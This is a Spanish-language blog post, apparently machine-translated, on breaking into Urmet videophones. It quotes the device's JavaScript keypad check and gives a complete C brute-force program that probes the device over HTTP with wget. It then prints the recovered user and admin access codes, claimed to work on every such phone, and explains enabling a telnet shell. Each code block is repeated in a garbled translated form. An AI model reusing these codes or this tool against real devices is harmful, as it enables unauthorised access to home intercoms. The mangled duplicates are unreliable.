Hacking de videoteléfonos (2)

Príamo http://192.168.1.2:8080/ su navegador a una página de acceso y podrás ver muy flaco, probablemente la interfaz web que se haga para la depuración y se utilizan sólo por los iniciados (y nosotros! )

Muestra una página con un teclado numérico en el que debemos introducir un código para obtener acceso

A primera vista no me da la impresión de máxima seguridad.

¿Cómo funciona?

Dando un vistazo a las fuentes que entendemos que cada vez que pulse un botón con una función de JavaScript que se invoca la figura Enter_code ()

 24 var code = 0 var mul = 1 var digit = 0 var fails = 0 function Enter_code ( number ) { code = code * 10 + number mul = mul * number document. codepad . thecode . value = code digit ++ if ( digit == 8 ) { if ( mul == 40320 ) { location = code + ".html" } if ( mul == 11907 ) { location = "Admin" + code + ".html" } else { fails ++ code = 0 mul = 1 digit = 0 if ( fails < 3 ) { if ( fails == 1 ) { document. codepad . thecode . value = "Try again" } if ( fails == 2 ) { document. codepad . thecode . value = "Last Time" } } else { location = "http://www.urmet.it" document. codepad . thecode . value = "Bye!" } } } } var = 24 usermulcode código var = 0 mul = 1 var var var dígitos = 0 = 0 la función no Enter_code (número) (código = código * 10 + número = mul mul * número de documento. teclado. thecode. valor de código de dígitos = + + si (== dígitos 8) (if (mul == 40320) (+ código de ubicación =. "html") si (mul == 11907) (ubicación = "Admin" + + código. "html") else (no + + código = 0 = mul dígitos 1 = 0 if (error <3) (si (no == 1) (document. teclado. thecode. value = "Inténtelo de nuevo") si (no == 2) (document. teclado. thecode. value = "Last Time")) else (ubicación = "http://www.urmet.it" documento. teclado. thecode. value = "Bye !")))) 

Mirar el código que nos dan una idea de la operación. Después de que «Contamos con 3 intentos será redirigido a la página web de Urmet. El código para entrar es de 8 dígitos, tenemos acceso con dos códigos, uno nos da acceso a otro administrador y usuario normal. La URL que se abre al introducir el código correcto es formado por el mismo código de modo que si usted no sabe el código no sabe lo que es. La aplicación de una función matemática en sus dígitos, como resultado de «acceso de usuarios a 40.320 y 11.907 como administrador.

Cómo participar

Otra cosa que podemos decir de JavaScript es que el cálculo del Código considera dígitos marcados en el teclado, pero no el orden en que se escriben y entonces hay más códigos que permiten el acceso, pero sólo una es la correcta, con todos los otro servidor nos responderá con un error 404 (página no encontrada).

 user_access , admin_access , n_digits ; char ip [ 256 ] , * sCode ; int finded_user = 0 , finded_admin = 0 ; long calcola_mul ( int * digits ) { int i , code = 0 ; long mul = 1 ; for ( i = 0 ; i < n_digits ; i ++ ) { code = code * 10 + digits [ i ] ; mul = mul * digits [ i ] ; } return mul ; } void stampav ( int * digits ) { int i ; for ( i = 0 ; i < n_digits ; i ++ ) printf ( "%d " , digits [ i ] ) ; printf ( "n" ) ; } char * stampaCode ( int * digits ) { int i ; for ( i = 0 ; i < n_digits ; i ++ ) sCode [ i ] = digits [ i ] + '0' ; return sCode ; } void backtrack ( int * v , int i ) { long mul ; int c ; char cmd [ 256 ] ; if ( i >= n_digits ) { /* fine della ricorsione */ mul = calcola_mul ( v ) ; if ( finded_user == 0 && mul == user_access ) { sprintf ( cmd , "wget -q -O - http://%s/%s.html > /dev/null" , ip , stampaCode ( v ) ) ; if ( system ( cmd ) == 0 ) { printf ( "User access code: " ) ; stampav ( v ) ; finded_user = 1 ; } return ; } if ( finded_admin == 0 && mul == admin_access ) { sprintf ( cmd , "wget -q -O - http://%s/Admin%s.html > /dev/null" , ip , stampaCode ( v ) ) ; if ( system ( cmd ) == 0 ) { printf ( "Admin access code: " ) ; stampav ( v ) ; finded_admin = 1 ; } return ; } return ; } for ( c = 1 ; c <= 9 ; c ++ ) { if ( finded_admin && finded_user ) return ; v [ i ] = c ; backtrack ( v , i + 1 ) ; } } int main ( int argc , char * argv [ ] ) { int * digits ; if ( argc != 4 && argc != 5 ) { printf ( "Usage: %s <ip[:port]> <number_digits> <user_code> [<admin_code>]n" , argv [ 0 ] ) ; return 1 ; } strcpy ( ip , argv [ 1 ] ) ; n_digits = atoi ( argv [ 2 ] ) ; user_access = atoi ( argv [ 3 ] ) ; if ( argc == 5 ) admin_access = atoi ( argv [ 4 ] ) ; else finded_admin = 1 ; digits = ( int * ) malloc ( n_digits * sizeof ( int ) ) ; sCode = ( char * ) malloc ( n_digits * sizeof ( char ) ) ; backtrack ( digits , 0 ) ; free ( digits ) ; free ( sCode ) ; return 0 ; } <stdio.h> # include # include # include int <stdlib.h> user_access <string.h>, admin_access, n_digits; ip char [256] * sCode; int finded_user = 0, finded_admin = 0; calcola_mul largo (int dígitos *) (int i, código = 0; mul largo = 1; for (i = 0; i <n_digits; + + i) (código = código * + 10 dígitos [i]; mul = * dígitos mul [i] ;) la devolución de varios;) vacío Stampavie (* dígitos int) (int i; for (i = 0; i <n_digits; i + +) printf ("% d", dígitos [i]) printf ("n") ;) stampaCode char * (* dígitos int) (int i; for (i = 0; i <n_digits; i + +) sCode [i] = dígitos [i] + "0"; sCode retorno;) retroceder void (int * v, int i) (a largo mul, int c, char cmd [256] if (i> n_digits =) (/ * fin de la recursión * / mul = calcola_mul (v) si (finded_user == 0 & & multi = = user_access) (sprintf (cmd, "wget-q-O - http://% s / s.html%> / dev /" nulo, ip, stampaCode (v)) if (sistema (cmd) == 0 ) (printf ("Código de Acceso de Usuario"); Stampavie (v); finded_user = 1;) return;) si (finded_admin == == 0 & & mul admin_access) (sprintf (cmd, "wget-q-O - http : / /% s / s.html Admin> / dev% / "nulo, ip, stampaCode (v)) if (sistema (cmd) == 0) (printf (" Administración del Código de Acceso: "); Stampavie (v ) finded_admin = 1;) return;) return;) por (c = 1 c <= 9, c + +) (if (finded_admin & & finded_user) return; v [i] = c; dar marcha atrás (v, i + 1);)) int main (int argc, char * argv []) (* int dígitos; if (argc! = 4 & & argc! = 5) (printf ("Uso:% s <ip[:port]> < number_digits> <user_code> [<admin_code> "n], argv [0]) return 1;) strcpy (ip, argv [1]); n_digits = atoi (argv [2]); user_access = atoi (argv [3 ]) if (argc == 5) admin_access = atoi (argv [cuatro]) finded_admin más = 1, dígitos = (int *) malloc (n_digits * sizeof (int)); sCode = (char *) malloc (n_digits * sizeof (char)); dar marcha atrás (dígitos, 0), libre (dígitos), libre (sCode) return 0;) 

Después de completar el programa se puede ejecutar e imprimir los códigos de tener acceso a videos.
$ ./access 192.168.1.2:8080 8 40320 11907
User access code: 1 2 3 4 5 6 7 8
Admin access code: 1 9 7 1 1 3 9 7

Los teléfonos deben ser todos iguales a continuación, estos códigos deben permitir el acceso a todo el mundo. También traté de otro teléfono con una versión de software diferente, en este caso, las cifras fueron 10 en vez de 8 y no había más que el usuario administrador, en este caso, el código fue 1 9 7 1 1 3 9 7 2 7.

Nos encontramos dentro de

Ahora podemos cambiar la configuración del teléfono a voluntad.
Desde la web, haga clic en "Información del sistema" y haga clic de nuevo en "Red de Servicios Básicos" opcional, por lo que el teléfono comenzará a un servidor telnet que simplemente se puede conectar con el comando
telnet 192.168.1.2 23 resultando en una concha hermosa.

Que se diviertan.

Deja una respuesta